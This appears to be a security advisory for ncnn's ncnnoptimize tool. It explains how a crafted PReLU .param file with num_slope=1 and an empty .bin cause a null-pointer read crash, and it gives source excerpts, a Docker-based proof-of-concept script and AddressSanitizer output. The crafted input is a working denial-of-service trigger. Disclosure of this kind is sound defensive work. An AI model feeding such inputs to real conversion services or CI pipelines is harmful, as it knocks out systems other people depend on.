PReLU Optimization Invalid Read DoS
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/ncnnoptimize.cpp:2601 in NetOptimize::replace_prelu_with_leaky_relu
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x594b135c9bf3 bp 0x7fff3f15d1d0 sp 0x7fff3f15d110 T0)
Summary
ncnnoptimize can be crashed with a null-pointer read by anyone who controls the two input
files it is invoked with. A PReLU layer declaring num_slope = 1 paired with an empty (or
truncated) .bin makes PReLU::load_model fail and leave slope_data empty; ncnnoptimize
ignores the failed load, and its replace_prelu_with_leaky_relu rewrite pass then
dereferences slope_data[0]. Model-conversion services and CI jobs that run the optimizer
over submitted models terminate on the spot.
Detail
The untrusted fields are parameter id 0 of a PReLU record (num_slope) and the length of
the accompanying weight file. PReLU::load_model asks the model bin for num_slope floats
and correctly reports failure when the reader is exhausted:
// src/layer/prelu.cpp:21
int PReLU::load_model(const ModelBin& mb)
{
slope_data = mb.load(num_slope, 1);
if (slope_data.empty())
return -100;
return 0;
}
The failure is reported but not acted on. Net::load_model logs layer load_model 0 prelu failed and returns -1 (src/net.cpp:2080-2090), yet main() discards that return value:
// tools/ncnnoptimize.cpp:2788
optimizer.load_param(inparam);
if (strcmp(inbin, "null") == 0)
{
DataReaderFromEmpty dr;
optimizer.load_model(dr);
optimizer.gen_random_weight = true;
}
else
optimizer.load_model(inbin);
Execution therefore continues into the rewrite passes holding a PReLU object whose
slope_data is a default-constructed Mat — data == NULL, w == 0. The pass filters on
the parameter-derived slope count only, never on the tensor that was supposed to back it:
// tools/ncnnoptimize.cpp:2577
int NetOptimize::replace_prelu_with_leaky_relu()
{
const size_t layer_count = layers.size();
for (size_t i = 0; i < layer_count; i++)
{
if (layers[i]->type != "PReLU")
continue;
ncnn::PReLU* prelu = (ncnn::PReLU*)layers[i];
if (prelu->num_slope != 1)
continue;
fprintf(stderr, "replace_prelu_with_leaky_relu %s\n", prelu->name.c_str());
ncnn::ReLU* relu = (ncnn::ReLU*)ncnn::create_layer_cpu("ReLU");
relu->type = "ReLU";
relu->name = prelu->name;
relu->bottoms = prelu->bottoms;
relu->tops = prelu->tops;
ncnn::ParamDict pd;
relu->load_param(pd);
relu->slope = prelu->slope_data[0];
The PoC sets 0=1, so prelu->num_slope != 1 is false and the continue on line 2587 is
skipped. crafted.bin is zero bytes, so the model-bin read returns 0 and slope_data
stays empty. Line 2601 then evaluates prelu->slope_data[0], which expands to
((float*)NULL)[0] — the null read AddressSanitizer reports.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-prelu-optimization-invalid-read-dos && cd ncnn-poc-prelu-optimization-invalid-read-dos
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > crafted.param <<'PARAM'
7767517
1 2
PReLU prelu 1 1 input output 0=1
PARAM
: > crafted.bin
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize crafted.param crafted.bin out.param out.bin 0
AddressSanitizer output:
find_blob_index_by_name input failed
ModelBin read weight_data failed 0
layer load_model 0 prelu failed
replace_prelu_with_leaky_relu prelu
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x618be4b7fbf3 bp 0x7fff149fff20 sp 0x7fff149ffe60 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
#0 0x618be4b7fbf3 in NetOptimize::replace_prelu_with_leaky_relu() /ncnn/tools/ncnnoptimize.cpp:2601
#1 0x618be4b88dd1 in main /ncnn/tools/ncnnoptimize.cpp:2820
#2 0x7b4aa13441c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#3 0x7b4aa134428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x618be4b08624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/ncnnoptimize.cpp:2601 in NetOptimize::replace_prelu_with_leaky_relu()
==1==ABORTING
Credit
Zheng Yu @ DepthFirst